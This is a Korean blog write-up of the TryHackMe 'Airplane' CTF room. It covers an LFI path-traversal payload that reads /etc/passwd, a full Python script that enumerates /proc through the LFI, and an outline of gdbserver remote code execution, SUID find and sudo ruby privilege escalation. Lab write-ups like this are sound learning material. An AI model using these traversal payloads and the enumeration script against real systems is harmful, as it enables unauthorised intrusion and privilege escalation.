[tryhackme] airplane

김기훈·2024년 10월 1일

tryhackme

목록 보기
10/12

항상 easy 난이도의 문제만 풀다가 medium 난이도가 궁금해서 풀어본 문제이다.
앞으로는 easy, medium 골고루 풀어보려고 한다.

Q1. What is user.txt?

항상 nmap 만 사용하다가 이번 문제를 통해 처음으로 rustscan 을 사용해봤다.

nmap 은 Wellknown 포트를 대상으로 스캔을 하기 때문에 특별한 포트에서 서비스를 하고 있을 경우 스캔해내지 못한다. 그렇다고 모든 포트를 스캔하자니 너무너무 오래걸린다.

rustscan 은 이 모든 문제점을 해결해준다.
일단 nmap보다 스캔속도가 훨씬 빠르고 Wellknown 포트만을 대상으로 하는게 아니라 모든 포트를 스캔한다. 그리고 스캔결과를 nmap와 연결시켜 열려있는 포트만 nmap의 다양한 기능을 사용하여 스캔할 수 있다.

rustscan -a airplane.thm -- -sCV

일단 rustscan으로 모든 포트를 스캔한 뒤 -- 로 스캔결과를 nmap으로 연결시키고 -sCV 평소 nmap에서 돌리던 스크립트를 실행한다.

nmap에서 찾을 수 없었던 6048포트를 식별했고 -sCV 옵션을 통해 알아낼 수 있는 특별한 정보는 없었다.

일단 8000 포트에서 웹서비스를 하고 있는 것 같으니 들어가보자.

아무런 기능이 없는 페이지이다. 하지만 URL을 잘보면 아래처럼 되어있다.

http://airplane.thm:8000/?page=index.html

딱 봐도 LFI 취약점이 있을 것 같다.
파라미터에 ../../../etc/passwd를 입력하니 passwd 파일이 다운받아진다.

carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
hudson:x:1001:1001::/home/hudson:/bin/bash

두 명의 사용자를 발견했지만 더이상 할 수 있는게 없었다.

결국 Write-up의 도움을 받았고 6048 포트에서 동작하는 서비스에 해당하는 pid를 찾아 /proc/{pid}/cmdline 파일을 확인하면 어떤 명령에 의해 서비스가 실행되는지 알 수 있다고 한다.

import requests
import threading
import argparse
from queue import Queue

# Function to fetch command line for a given PID
def fetch_cmdline(q, base_url, port):
    while not q.empty():
        pid = q.get()
        try:
            response = requests.get(base_url.format(pid))
            content = response.content.decode('utf-8').replace('\x00', ' ')
            if "Page not found" not in content and content.strip():
                if f"{port}" in content:
                    print(f"\nThe service running on port {port} is: {content}")
                    # Clear remaining queue items and break out of the loop
                    while not q.empty():
                        q.get()
                        q.task_done()
                    break
        except Exception as e:
            print(f"Error fetching PID {pid}: {e}")
        q.task_done()

# Function to get the inode of the service running on the specified port
def get_service_info(target_path, port_hex):
    url = f"{target_path}/net/tcp"
    response = requests.get(url)
    if response.status_code == 200:
        lines = response.text.split('\n')
        for line in lines:
            fields = line.strip().split()
            if len(fields) > 1 and fields[1].endswith(port_hex):
                inode = fields[9]
                return inode
        print(f"No service info found for port {int(port_hex, 16)} in {url}")
    else:
        print(f"Failed to retrieve {url}, status code: {response.status_code}")
    return None

if __name__ == "__main__":
    # Argument parsing
    parser = argparse.ArgumentParser(
        description='This is a script that will use LFI to identify a service running on a port. '
                    'This was created while going through the "Airplane" room on TryHackMe. '
                    'A big thank you to n3ph0s (https://www.nephos.guru/) for sharing his original base script with me, '
                    'this is built off of his.'
    )
    parser.add_argument('-p', '--port', type=int, required=True, help='Port number to identify the service running on')
    parser.add_argument('-t', '--threads', type=int, required=True, help='Number of threads to use')
    args = parser.parse_args()

    # Static base URL for the target with LFI vulnerability
    target_path = "http://airplane.thm:8000/?page=../../../../../../proc"

    # Prepare base URL for fetching command lines
    base_url = f"{target_path}/{{}}/cmdline"

    # Convert port number to hexadecimal
    port_hex = f'{args.port:X}'

    # Get inode of the service running on the specified port
    inode = get_service_info(target_path, port_hex)

    if inode:
        q = Queue()

        # Enqueue all PIDs to the queue
        for i in range(1, 1001):
            q.put(i)

        # Create and start threads
        threads = []
        for _ in range(args.threads):
            t = threading.Thread(target=fetch_cmdline, args=(q, base_url, args.port))
            t.start()
            threads.append(t)

        # Wait for all threads to finish
        q.join()

        # Ensure all threads have finished
        for t in threads:
            t.join()

        print("Finished fetching all PIDs.")
    else:
        print("Failed to retrieve inode from the target.")

LFI 취약점을 통해 6048 포트에서 동작하는 서비스의 PID를 찾아 cmdline 파일 내용을 출력했다.
해당 포트에는 gdbserver가 실행 중이었고 gdbserver는 원격 프로세스를 디버깅하기 위한 도구이다.

Metasploit에 gdbserver에 대한 exploit이 있어서 아주 쉽게 쉘을 얻을 수도 있지만 여기서는 수동으로 쉘을 얻는 방법을 적어보려고 한다.

먼저 바이너리를 생성하고 실행권한을 부여한다.

GDB에 binary.elf 파일을 로드하고 원격 GDB 서버(타겟)에 연결한다.

원격 GDB 서버에 binary.elf 파일을 업로드한다.

원격 GDB로 디버깅을 수행할 파일을 지정하고 실행한다.

이렇게 hudson 계정의 쉘을 얻을 수 있었다.

근데 위 exploit은 gdbserver 9.2 버전에 있는 취약점을 활용한 것이고 타겟이 정확히 9.2 버전을 사용했기 때문에 통했던건데 exploit을 수행하기 전에 버전을 미리 확인하는 방법이 없어 얻어걸리길 바라는 마음으로 그냥 시도해보는 수 밖에 없는 듯 하다.

hudson 홈디렉토리에도 아무것도 없고 sudo -l도 패스워드가 필요해서 linpeas를 돌려봤다.

find 명령에 suid가 걸려있다.

GTFOBins에서 검색해보니 find에 suid가 걸려있으면 상승된 권한으로 쉘을 실행할 수 있다.

일단 carlos의 홈디렉토리에서 user.txt를 찾았는데 백스페이스도 안먹히고 쉘이 이상하다.

carlos 홈디렉토리에 공개키를 주입하고 ssh 연결을 하여 안정적인 쉘을 얻었다.

Q2. What is root.txt?

오호.. 바로 공격벡터를 찾았다.
root 권한으로 ruby 명령어를 통해 /root 안에 있는 rb파일을 실행할 수 있다.

그런데.. 어떻게??

혹시나 /root 디렉토리에 carlos 계정이 쓰기 권한이 있는지 봤지만 당연히 없다.
아니면 예약작업이 있나싶어 pspy도 돌려보고 linpeas도 돌려봤지만 아무것도 없다.
도저히 답이 안나왔다.

또 Write-up의 힘을 빌렸고 보자마자 띵~ 했다.
*../을 넣으면 굳이 /root 디렉토리가 아니어도 실행이 가능했다..ㅋ

어떻게 이런 생각을 하지? 싶었는데 계속 보다보니 내가 멍청했던거 같기도 하다. 후..

간단한 ruby 리버스쉘을 만들고 실행했다.


0개의 댓글